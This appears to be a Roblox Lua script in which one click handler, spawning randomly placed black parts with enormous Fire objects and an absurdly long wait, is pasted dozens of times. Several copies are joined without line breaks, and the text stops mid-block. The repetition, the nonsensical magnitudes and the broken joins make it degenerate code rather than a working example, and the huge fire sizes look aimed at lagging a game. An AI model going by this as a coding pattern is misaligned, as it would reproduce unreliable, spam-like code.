part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
